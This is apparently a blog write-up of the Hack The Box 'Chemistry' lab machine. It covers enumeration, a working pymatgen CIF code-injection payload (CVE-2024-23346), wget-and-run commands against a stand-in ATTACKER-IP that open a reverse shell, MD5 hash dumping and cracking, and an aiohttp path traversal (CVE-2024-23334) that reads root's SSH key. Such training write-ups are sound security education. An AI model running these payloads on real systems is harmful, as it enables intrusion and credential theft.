Chemistry is an easy difficulty Linux machine on Hack The Box. It contains a website that allows users to upload CIF (Crystallographic Information File) files, which are text files that describe the structure and properties of crystals. The python library that the box uses to parse these files use eval to process the data, making it vulnerable to code injection. After exploiting this vulnerability to gain a foothold on the box, a user’s MD5 hashed password is discovered inside a local database file. After cracking the password and taking over the target user account, we’re able to escalate to root by enumerating another web application that is listening on localhost:8080 which uses a library with a directory traversal vulnerability. We can abuse this to traverse the file system and read the flag or private key from /root.
Enumeration
The enumeration process begins.
Nmap
The first step is to scan the box with nmap.
nmap -sCV -oN nmap/chemistry --reason --stats-every=30s 10.10.11.38
After letting it run for a bit, it spits out the following results:
Nmap scan report for 10.10.11.38
Host is up, received conn-refused (0.040s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp? syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Sat, 19 Oct 2024 23:53:13 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
There were only two ports open on this box.
| Port | Service | Remarks |
|---|---|---|
| 22 | SSH | Remote login |
| 5000 | HTTP | Sus |
SSH is often found to be open on machines, but the service listening on port 5000 looked more out if place, so I focused my efforts on that.
Web Server
I began by navigating to http://10.10.11.38:5000 in my web browser, and I landed on the login page for a “CIF Analyzer” service.

Luckily for those of us that don’t know what a CIF file is, the login page gave us the acroynym definition; Crystallopgraphic Information File. These are text files that describe the structure of crystalline structures in a form that can be interpreted by computers.
I clicked Register to create an account. The site only required a simple username and password for account creation.

After creating an account with a suitably terrible password, the site took me to a dashboard that contained a file upload function.

The site gives us a link to download an example CIF file, which looked like this:
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
To see how the application reacted to files being uploaded, I took the example file, uploaded it, and clicked View when it appeared on the dashboard. The site took the various data points from the file and displayed them in a nice neat table.

Given the fact that the site was processing data from a file that was supplied by the user, the next step was to find a way to craft a malicious file that could perform unintended actions on the server when the application processed it. CIF files aren’t the most common types of files out there, so the amount of vulnerabilities involving them was sure to be rather small.
CVE-2024-23346
Googling around for CIF file exploits turned up a GitHub Advisory that described a code execution vulnerability in the Pymatgen library. Pymatgen (Python Materials Genomics) is a library for materials analysis, which is a process where a material’s physical and chemical properties are studied and evaluated.
The website running on the box didn’t disclose which libraries it was using on the back-end. However, checking the response headers of the site showed that it was at least using python:
curl -v http://10.10.11.38:5000
* Trying 10.10.11.38:5000...
* Connected to 10.10.11.38 (10.10.11.38) port 5000
> GET / HTTP/1.1
> Host: 10.10.11.38:5000
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.3 Python/3.9.5
< Date: Sat, 14 Dec 2024 23:42:23 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 719
< Vary: Cookie
< Connection: close
This meant that there was a high probability that the server was using pymatgen for processing the CIF files. The GitHub advisory provided a proof-of-concept malicious CIF file. It looks pretty unreadable, but the portion to pay attention to is highlighted below:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Check Vulnerability
Before trying to use the PoC CIF file to get a reverse shell, I wanted to check that the exploit even worked at all. To do this, I changed the payload to the following:
curl http://ATTACKER-IP/test
I then started a local web server on port 80 and uploaded the file. At first, it looked like it didn’t work. The server returned an error:

However, checking the web server showed that the box did indeed send a GET request to me, meaning that the exploit worked!
Foothold
Initial attempts to use the exploit to get a reverse shell failed. Simply pasting in a bash reverse shell into the CIF file didn’t seem to work. There was something getting in the way, but I couldn’t see what it was. I also tried various other reverse shell payloads, but all seemed to fail. One thing that I noticed was simply establishing a nc connection with the CIF file worked, but trying to execute bash with it didn’t.
I shifted my technique to hosting the shell payload on my machine, and used the CIF file to download the file and execute it on the server. To achieve this, I uploaded and viewed three different versions of the CIF file with three different payloads. I started a nc listener, and then used the following commands inside the CIF file to download the shell and execute it:
wget http://ATTACKER-IP/shell.sh
chmod +x shell.sh
/bin/bash shell.sh
After a few moments, my listener caught an incoming shell.
listening on [any] 4444 ...
connect to [ATTACKER-IP] from (UNKNOWN) [10.10.11.38] 46074
bash: cannot set terminal process group (1072): Inappropriate ioctl for device
bash: no job control in this shell
app@chemistry:~$
Post Exploitation
The reverse shell that I received was running as the app user, which wasn’t allowed to read the user flag. Taking over another user account would be required before being able to read it.
Finding Users
The contents of /home showed that there was another user called rosa:
total 16
drwxr-xr-x 4 root root 4096 Jun 16 23:10 .
drwxr-xr-x 19 root root 4096 Oct 11 11:17 ..
drwxr-xr-x 9 app app 4096 Dec 14 23:57 app
drwxr-xr-x 5 rosa rosa 4096 Dec 14 11:31 rosa
I needed to find a way to take over the rosa user. At this point, I remembered the login page from earlier. Each user needed to register for an account to be able to upload files. Perhaps rosa was also one of those users.
Source Code
To get a better idea of how the CIF file application on the box worked, I opened up the source code that was found in app’s home directory. It was a Python Flask application that used pymatgen (as I had worked out earlier) and a sqlite database for storing user credentials. The application config definitions at the top of the code told me everything I needed to know:
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
So where was the database?
User Database
I knew that the database was called database.db, but I didn’t know where it was. Instead of hopping through each directory in /home/app, I just ran find:
find ./ -name database.db 2>/dev/null
This revealed the location of the database to be /home/app/instance/database.db.
I connected to the database with sqlite to see if I could find a password for rosa inside.
sqlite3 database.db
First, I checked to see which tables were present.
Enter ".help" for usage hints.
sqlite> .tables
structure user
sqlite>
The user table seemed promising, so I grabbed everything I could from it.
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
The user table contained the login credentials for all of the users that were registered on the app, and one of the records belonged to rosa. The passwords were all hashed, so I went back to the source code again to see how they were being hashed before being stored. I was able to find the hashing algorithm inside the /register route:
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if User.query.filter_by(username=username).first():
flash('Username already exists.')
return redirect(url_for('register'))
hashed_password = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password=hashed_password)
db.session.add(new_user)
db.session.commit()
login_user(new_user)
return redirect(url_for('dashboard'))
return render_template('register.html')
Since MD5 was being used to hash the passwords, I headed over the CrackStation to see if I could crack the hash. Luckily (for me) rosa had used a weak password, and so it cracked instantly.

rosa’s password was unicorniosrosados. With this information in hand, I was able to login as rosa and grab the user flag.
Privilege Escalation
I ran into a few red herrings in the privilege escalation phase. I checked to see if there were any interesting SUID binaries. There were a few that showed up that were related to Polkit, which has a known privilege escalation vulnerability in it. After chasing this for a bit, I came to realise that this was probably not the intended path.
Internal Services
I shifted my focus towards checking if there were any services listening on localhost by running netstat, as any services listening locally wouldn’t have been visible during the initial enumeration phase.
netstat -a
Interestingly, there was a service listening on localhost:8080 (http-alt means port 8080).
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:http-alt 0.0.0.0:* LISTEN
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN
Since this mystery service was likely going to be some kind of web service, I opted to perform a local port forward of port 8080 using SSH.
Doing this would allow me to connect to the web service using my own web browser running in my VM. Any requests to localhost:8080 from my web browser would be tunneled through SSH and then forwarded on to the destination on the other side. Navigating to http://localhost:8080 with my web browser revealed another website.

Most of the buttons didn’t do anything, except for List Services. Clicking this would list all of the active and inactive services on the box.

Here is where I ran into another red herring. I spent a while trying to perform some path hijacking attacks in an attempt to get the system to think that a script I had written was a service and run it. This was not the way either, so I abandoned that approach.
Directory Fuzzing
To see if there were any hidden directories on this website, I ran a ffuf scan.
ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://localhost:8080/FUZZ" -ic
This uncovered a single directory; assets.
/ ___\ / ___\ / ___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://localhost:8080/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
assets [Status: 403, Size: 14, Words: 2, Lines: 1, Duration: 39ms]
Trying to open this directory resulted in a 403: Forbidden error.
Looking Closer
I took a look at the response headers of the page to see if there was any information disclosure happening. The Server header revealed something interesting…
* Connected to localhost (127.0.0.1) port 8080
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Sun, 15 Dec 2024 05:19:36 GMT
< Server: Python/3.9 aiohttp/3.9.1
<
aiohttp is an asynchronous HTTP client/server built on top of asyncio, which is a library used to write concurrent code with the async/await syntax.
CVE-2024-23334
aiohttp versions 3.9.1 and prior are affected by a directory traversal vulnerability. While setting up the software, the developer needs to specify where static files are kept. There is also an option for determining if aiohttp will follow symlinks. The problem is that when this option is enabled, aiohttp doesn’t check if the file that a symlink points to is actually contained in the directory that static files are kept in. This makes it possible to break out of the site’s root directory and read other arbitrary files on the server.
There are proof-of-concept exploits available on GitHub. After I had copied the exploit script to the box, edited the target URL and file, and executed it, there were no results. How did that happen?
[+] Testing with /static/../root/root.txt
Status code --> 404
[+] Testing with /static/../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /static/../../../../../../../../../../../../../../../root/root.txt
Status code --> 404
I noticed that it was including the static directory in the request, which most likely did not exist. This directory name was hardcoded in the exploit script, so I changed it to just /, but I was still only met with 404 errors.
[+] Testing with /../root/root.txt
Status code --> 404
[+] Testing with /../../root/root.txt
Status code --> 404
[+] Testing with /../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../../../../../../../../../root/root.txt
Status code --> 404
[+] Testing with /../../../../../../../../../../../../../../../root/root.txt
Status code --> 404
Then, I remembered the assets directory that I had discovered from my fuzzing. Perhaps this exploit would only work if it began by requesting a directory that actually existed. I plugged assets into the script and ran it.
Root
Exploiting the directory traversal vulnerability in aiohttp revealed the root flag.
[+] Testing with /assets/../root/root.txt
Status code --> 404
[+] Testing with /assets/../../root/root.txt
Status code --> 404
[+] Testing with /assets/../../../root/root.txt
Status code --> 200
188*****************************
root’s SSH private key could also be retrieved.
curl --path-as-is http://localhost:8080/assets/../../../root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
This could then be used to log into the box as root.
Comments
Nothing yet. Say the first thing.
Sign in to join the conversation.